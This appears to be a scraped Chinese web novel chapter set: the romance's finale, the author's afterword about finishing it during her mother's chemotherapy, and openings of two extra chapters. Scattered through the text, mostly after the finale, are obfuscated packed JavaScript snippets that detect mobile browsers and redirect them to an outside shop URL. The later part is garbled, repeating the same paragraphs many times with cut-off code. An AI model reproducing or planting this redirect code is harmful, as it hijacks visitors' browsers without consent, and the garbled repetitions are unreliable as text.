“老师让我来描述下自己,我刚才琢磨了下,如果用比喻句的话,可能是一把刀?有人用它来形容过我,大概我给他的初始印象是危险品。” 江知羽明白戚述提的是他,不免弯了弯眼睫,跟着道“能当武器也挺好的对吧,多磨一磨应该可以撬开很多东西?” 学生们有些许互动,这里不是举手问答的环节,所以戚述很随意地听了几句。 “他大概现在也这么看待我,不过依据的出处变了,当然,在我眼里他同样如此,我们都非常固执地认定着一句话,才能出现在对方面前。” 江知羽翻到这里,注意到戚述停顿了一下。 没过半秒钟,就在戚述说出一个音节的时候,江知羽平静的心跳突然加速。 不是恐慌,不是刺激,他有一种前所未有的满足,被自己关联到的那句话打动。 并且他深深地相信这和戚述内心浮现的是同一句。 全场的学生们听着戚述讲下去,而在江知羽负责频道里,此刻没有任何出于避险的漏拍,甚至还要稍微急切些,他坚定地开口 “世界是我的牡蛎,我将以利剑开启。”* 作者有话要说 *引用 theworldismyoyster,whichiwithswordwillopen.——《themerrywivesofwindsor》 下章大结局,今晚会更(撒花) 时有幸向你推荐他的其他作品 第 97 章 归巢【正文完】 第97章归巢【正文完】 候鸟陆续归巢又向着南方振翅,蒲音驻京办事处即将迎来六周年,出于战略发展规划,正式把内部架构抬了一级。 企业最早来国内设立分部的时候,仅仅是用于少许的交际联络,之后发觉市场潜力,补充资质手续,也就是江知羽入职那年,这里开始接触营利活动。 称之为办事处是一种日常表达,如果谈论正式的规模和性质,这边早就注册成了外商公司。 这两年他们辐射到其他省份,陆续扩展业务版图,这里的地位类似于中华区总部,只是没有被盖上红章。 如今管理层升迁调整,风头正盛之际,这纸公文也批了下来,资源配置迈上新台阶。 本来蒲音在写字大楼长租,尽管包下了一整层区域,但随着业务不断优化,工位早已填得满当。 趁着今年有多方改动,大家申请到了新地方,总共七层的艺术建筑带有内部庭院,全部包给他们待客和办公。 远看这里根本不像工作地点,更像是一座优雅花园,坐落在国贸区域别具格调。 行人们无意路过,在绿树阴浓里瞥见一角,纷纷慢下步子,不禁掏出手机想记录这片景色。 镜头朝着门口的郁郁葱葱,画面定格之前,照进一道颀长身影,注意力就被眼前人吸引而去。 不笑也多情的桃花眼,右边缀着泪痣,他单手拎着公文包,一边轻快地往里走,一边熟练地打开拉链,从包里翻出特殊的册子。 纸张上下翻页,用细巧的钢丝穿梭固定,排版在中间竖着隔开一道,如果寻常留意细节,可以发现这类速记本往往出现在重要场合,被稳稳地端在翻译手上。 新来的门卫最先眼熟的就是江知羽,站在《闲人止步》的提示牌旁边,朝着青年微微鞠躬。 江知羽也从书页里分出神,弯起眼睫打招呼,随后他在旁人的打量里没有停留,继续翻着手上的东西。 每页记满纷杂信息,江知羽垂眼扫过去,很快捕捉到了自己想确定的数字,继而用指腹抹过那一行,拨去电话和上司反馈。 他的直属汇报人不再是周柯,而是总部高管,沟通的两三分钟工夫里,江知羽穿过院内石子路,刷卡走进这栋屋子。 当初挪窝的主要问题就是会议室不够用,碰上好几个人都有各自的线上工作,有同事只能捧着设备去茶水吧凑合。 现在二楼和三楼全部做好隔音装修,变成许多个工作棚,江知羽 预约了其中一间,猫进去就是傍晚才出来。 之后,忙碌的江副总拐到餐厅,潦草地吃完简餐,再回办公室查收部门周报。 这些做完终于能够喘口气,他给自己窗边的鹤望兰浇水,摸了摸人家舒展抽条的叶子。 走的时候是晚上七点多,几个实习生在电梯碰到他,礼貌地说了句“拜拜。 江知羽朝她们微笑颔首,叮嘱回去路上注意安全,这时他表现得温文尔雅,但靠上路边一辆宾利的时候,整个人又换上其他的腔调。 “喂,你快挡着我们蒲音的大门了,谁同意你停在这儿的啊?江知羽找茬。 他朝车主伸手:“你先把身份证件出示一下,我看看长得怎么样,通报批评的时候要不要打马赛克。 这么讲话的同时,车窗缓缓降下来,露出一张俊气的脸,漆黑的眼睛望过来,朝他散漫地勾起嘴角。 “从这儿到保安亭能划出一条八百米跑道,Sir,你是执法还是耍流氓?专业程度那么低,收了身份证和户口本不会拿去民政局吧?戚述道。 江知羽也笑了,不落下风地说:“怎么还抗拒教育?罪加一等,现在要罚款了。 可惜戚述比他更无赖:“没钱,只能以身相许了。请问我们什么时候罚?今晚可以许几次? 江知羽噎住,没再和他折腾,坐上去系好安全带,街边车辆川流不息,随手切换的广播在闲聊近期热门话题。 永煊陷入遗产纷争,让旁观者们看洋相,几桩争夺案能互相打到天荒地老,一家集团走向衰败的典型开场莫过于此。 联合国志愿组织启动新一轮活动,旨在更好地服务社会公共利益,今年将会在贫困地区做出更多努力。 TMT板块今年以来动荡不停,通信巨头互相吞并整合,整个市场估值在活跃换血,经过松晟的背后操盘,该领域下半年或成交易焦点。 主讲说到这里,打趣:“戚总会不会也在下班路上听这个?我们这事儿聊得收敛点吧,万一明天咱们被投诉了怎么办? 另一位主讲调侃八卦:“他今年算是在业内金榜题名,下了圆满的一步棋。人生三大喜,他乡遇故知就不提了,也不知道他猴年马月可以洞房花烛啊? 话音落下,江知羽幸灾乐祸地笑。 戚述道:“帮我记一下这个电台叫什么名字,我回头就投诉他们造谣。 江知羽安慰:“蒋董都快提你做合伙人了,这也算是状元高中吧,你不要和大家谦虚。 “我的 意思是我结婚不会拖到那么久。”戚述淡淡回答。 说完,他还盯着江知羽:“你不会让他们笑话我的对吧?等下我给广播写信的时候,能把喜帖一起发过去么?” 字里行间全是心机,江知羽撑住额头,语气狡黠地与他开玩笑。 “你想用PPT搓一个帖子出来,我可以当没看见,就是你小心明天收到律师函被我爸说造谣。” 戚述今年中秋千里迢迢寄了月饼过去,或许是老丈人不愿意贴国际运费,又或许被江知羽劝住,横竖自己的礼物没有被退货。 这时,戚述跟着不着调:“吃人嘴短,我送他的雪茄都该抽完了,他不能不认这门亲事。” 有一搭没一搭地聊着,他们路过最初乌龙的酒店,戚述默默踩了脚油门。 看着那片景色,江知羽忽地说:“如果之前我喝多了,但没走错房间……” 没让他有任何其他构想,戚述接话:“那么我们很快地换个地方碰见,等到合作对接结束,我会清醒地来找你,从私下的第一句就毫无保留。” 江知羽怔了下,饶有兴趣地问:“你准备怎么搭讪?” 戚述开口道:“江老师,那晚的酒感很涩,你没出场就一点也不值得回味。” 他们夜里牵手回家,白天偶尔有工作碰面,互相落落大方,在众人面前握手和交谈,情愫在暗里交换的眼神之间。 尽管身体克制着斯文体面,心里的距离早已分不清界限,偶尔他们也会在不经意间漏出破绽。 比如会议散场,服务商总是忙着整理材料,戚述以往行色匆匆,但只要江知羽在,他就会慢半拍地等在走廊。 再比如论坛中场休息,戚述请团队喝拿铁,所有人拿到了同一个种类,都是江知羽惯常的口味。 还有时候,两人在公事上守着立场规矩,商业切磋难免产生一些争执。 戚述做谈判向来强势,不知不觉已然学会了以退为进,因为他了解这招对江知羽管用。 而江知羽以往总是圆滑示人,也已经被锻炼得愿意展露锋芒,为自身利益做出更多争取,他很明白戚述不会介意。 工作性质导致出差频繁,发消息打语音不够聊以慰藉,他们学会了在夜里写信消遣。 用文字描摹心事,寄的时候盖上戳,如此大概尝试过五六次,也不确定多久能寄到对方手上。 这样的过程很新鲜,思念突然有了具体字样,内容不过是只言片语,一直寄不到也没有遗憾。 因为他们哪怕兜兜转转, 也会尽快栖息在彼此身边,重要的话语应该贴在耳边诉说。 有个火烧云格外浓烈的黄昏,江知羽率先收到第一封信件了。 他凑巧下班回家,遇到电梯例行保养,物业抱歉地让他稍等片刻。 五楼的高度其实走走也方便,江知羽踌躇了一下,就接到戚述的电话。 “到哪里了?我刚做好饭,用不用来接你? 江知羽道:“我在一楼,电梯在排查问题。 “好,我等你。 挂断电话,江知羽看到邮递员过来送报纸,除此之外还多了别的东西。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465252|127917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 问清楚地址和姓名,他表示就是自己。 不过,值得诧异的是信件并非近期寄出,从标注上看,已经是很早之前的事情。 戚述落笔的时候在西雅图,信封印着太空针塔的图案,主题是写给未来。 不少旅游城市的邮局都有类似概念,大概是戚述百无聊赖去附近散步,就一时兴起地试了下。 彼时两人尚且隔着窗户纸,若非误打误撞,抵达的时机恰好,江知羽可能永远都不知道戚述曾经还做过这个。 他完全猜不到对方会写些什么,怔愣着站在原地,小心翼翼地撕开胶水,打开却是戚述摘抄了一首现代诗句。 一月你还没有出现/二月你睡在隔壁/三月下起了大雨/四月里遍地蔷薇。 五月我们对面坐着,犹如梦中/就这样六月到了/六月里青草盛开,处处芬芳/七月悲喜交加,麦浪翻滚连同草地/直到天涯。 八月就是八月/八月我守口如瓶,八月里我是瓶中的水/你是青天的云/九月和十月,是两只眼睛,装满了大海/你在海上,我在海下。 十一月尚未到来/透过它的窗户,我望见了十二月/十二月大雪弥漫。 目光来到最后一行,江知羽微微地屏住呼吸,他并不是第一次看到这首《过程》,却是第一次感知到诗外也能有无限的遐想和延伸。 透过字里行间,他似乎能够越过时间,看清楚当初的戚述是怎样为自己胆怯,又怎样忍不住朝自己凝视和渴望。 “先生,等个两分钟就好了。物业匆匆喊住他。 不,江知羽不想等待。他沿着楼梯往上,步伐不禁越来越快,直到变成了奔跑。 ——他必须现在就去告诉他。 他要立刻捧着信,和眼前的戚述讲很多话。 一月自己就在枕边,二月依偎在同一处屋檐,三月和四月他们活在湿润 的花丛里,五月最适合额头相抵,真切地分享所有悸动。 等到六月来临,请恋人再摘来一束茉莉,藏在自己的口袋里,七月手牵手走过如火的红墙,八月或九月对他们来说不过又度过了夏天。 十月如果迎来潮汐,那他们绝对互为月亮,待到十一月,他们就在窗边期待,共同猜想十二月如何来临。 漫天的雪也不会让他们迷路,就像此刻,江知羽抖落大衣的水珠,迫不及待走向那道门,准备输入自己的生日去开锁。 而这个时候,守在门边的戚述率先推开,他循声抬起眼,江知羽就攥着信封与之对视。 彼此的视线和身影,由此落到对方心底,从过去就是如此。 之后呢? 之后是一生一世。 作者有话要说 正文完结,感谢大家的喜欢和支持,本章评论区全部红包。 下本应该开《假结婚也要接吻?》,届时会在微博@时有幸发试阅 我想等这本写完多去复盘、采风和积累,所以下本估计是年后连载,感兴趣的老板们可以点个收藏w - 这本书连载完成的意义对我来说格外特殊,开文没几天妈妈确诊恶性肿瘤,当时我觉得自己没办法面对和承担。 期间种种难以概括,写文成了我每天最沉浸最满足的时刻,情绪从现实抽离专注于两位主人公,能拥有心里三四个小时纯粹的宁静。 绒绒和阿树是我写作的一次冒险,我想探索爱情从身到心的层次,写开头存稿就非常惶恐,过去的每天就在期待它能圆满完结,之后的番外也会继续努力。 谢谢各位一直以来的包容,很荣幸收到那么多反馈,也看见有读者愿意对外推荐,因为大家而产生的力量都回到小说里了,在此不知道如何感恩,阿树和绒绒现在能上强推上金榜真的是大家的功劳。 托大家的福,我写得非常尽兴,希望这份答卷能带来一些快乐。 昨天妈妈顺利做完原定的所有化疗,小说正文也在今天画上了句号,我今晚可以轻松睡一觉了。 番外周五开始写,如果有什么想看的欢迎留言(鞠躬) 大家晚安好梦~ 第 98 章 番外·见家长① 第98章番外·见家长① 初冬晨间多云,建国门外灯光朦胧,往来在高楼大厦之间,人潮匆匆,偶尔夹杂几句电话声。 精英们衣冠靓丽,任由寒流席卷城市,身上的气场始终从容稳重。 第98章番外·见家长① 初冬晨间多云,建国门外灯光朦胧,往来在高楼大厦之间,人潮匆匆,偶尔夹杂几句电话声。 精英们衣冠靓丽,任由寒流席卷城市,身上的气场始终从容稳重。 第98章番外·见家长① 初冬晨间多云,建国门外灯光朦胧,往来在高楼大厦之间,人潮匆匆,偶尔夹杂几句电话声。 精英们衣冠靓丽,任由寒流席卷城市,身上的气场始终从容稳重。 第98章番外·见家长① 初冬晨间多云,建国门外灯光朦胧,往来在高楼大厦之间,人潮匆匆,偶尔夹杂几句电话声。 精英们衣冠靓丽,任由寒流席卷城市,身上的气场始终从容稳重。 第98章番外·见家长① 初冬晨间多云,建国门外灯光朦胧,往来在高楼大厦之间,人潮匆匆,偶尔夹杂几句电话声。 精英们衣冠靓丽,任由寒流席卷城市,身上的气场始终从容稳重。 第98章番外·见家长① 初冬晨间多云,建国门外灯光朦胧,往来在高楼大厦之间,人潮匆匆,偶尔夹杂几句电话声。 精英们衣冠靓丽,任由寒流席卷城市,身上的气场始终从容稳重。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465253|127917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第98章番外·见家长① 初冬晨间多云,建国门外灯光朦胧,往来在高楼大厦之间,人潮匆匆,偶尔夹杂几句电话声。 精英们衣冠靓丽,任由寒流席卷城市,身上的气场始终从容稳重。 第98章番外·见家长① 初冬晨间多云,建国门外灯光朦胧,往来在高楼大厦之间,人潮匆匆,偶尔夹杂几句电话声。 精英们衣冠靓丽,任由寒流席卷城市,身上的气场始终从容稳重。 第98章番外·见家长① 初冬晨间多云,建国门外灯光朦胧,往来在高楼大厦之间,人潮匆匆,偶尔夹杂几句电话声。 精英们衣冠靓丽,任由寒流席卷城市,身上的气场始终从容稳重。 第 102 章 番外恋情公开① 第102章番外恋情公开① 蒲音驻京办事处自从架构升级,变成了中华区总部,大家先是搬到了新的大楼,逐渐调整岗位部署,继而开始填充人员。 近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。 第102章番外恋情公开① 蒲音驻京办事处自从架构升级,变成了中华区总部,大家先是搬到了新的大楼,逐渐调整岗位部署,继而开始填充人员。 近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。 第102章番外恋情公开① 蒲音驻京办事处自从架构升级,变成了中华区总部,大家先是搬到了新的大楼,逐渐调整岗位部署,继而开始填充人员。 近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。 第102章番外恋情公开① 蒲音驻京办事处自从架构升级,变成了中华区总部,大家先是搬到了新的大楼,逐渐调整岗位部署,继而开始填充人员。 近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。 第102章番外恋情公开① 蒲音驻京办事处自从架构升级,变成了中华区总部,大家先是搬到了新的大楼,逐渐调整岗位部署,继而开始填充人员。 近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。 第102章番外恋情公开① 蒲音驻京办事处自从架构升级,变成了中华区总部,大家先是搬到了新的大楼,逐渐调整岗位部署,继而开始填充人员。 近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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蒲音驻京办事处自从架构升级,变成了中华区总部,大家先是搬到了新的大楼,逐渐调整岗位部署,继而开始填充人员。 近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。 第102章番外恋情公开① 蒲音驻京办事处自从架构升级,变成了中华区总部,大家先是搬到了新的大楼,逐渐调整岗位部署,继而开始填充人员。 近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。 第102章番外恋情公开① 蒲音驻京办事处自从架构升级,变成了中华区总部,大家先是搬到了新的大楼,逐渐调整岗位部署,继而开始填充人员。 近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。 第102章番外恋情公开① 蒲音驻京办事处自从架构升级,变成了中华区总部,大家先是搬到了新的大楼,逐渐调整岗位部署,继而开始填充人员。 近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583344|127917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 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近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583344|127917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第102章番外恋情公开① 蒲音驻京办事处自从架构升级,变成了中华区总部,大家先是搬到了新的大楼,逐渐调整岗位部署,继而开始填充人员。 近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。 第102章番外恋情公开① 蒲音驻京办事处自从架构升级,变成了中华区总部,大家先是搬到了新的大楼,逐渐调整岗位部署,继而开始填充人员。 近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。 第102章番外恋情公开① 蒲音驻京办事处自从架构升级,变成了中华区总部,大家先是搬到了新的大楼,逐渐调整岗位部署,继而开始填充人员。 近年来这边蒸蒸日上,招聘的口子一开,收到的投递尤其多,上万份简历淹没了人事邮箱。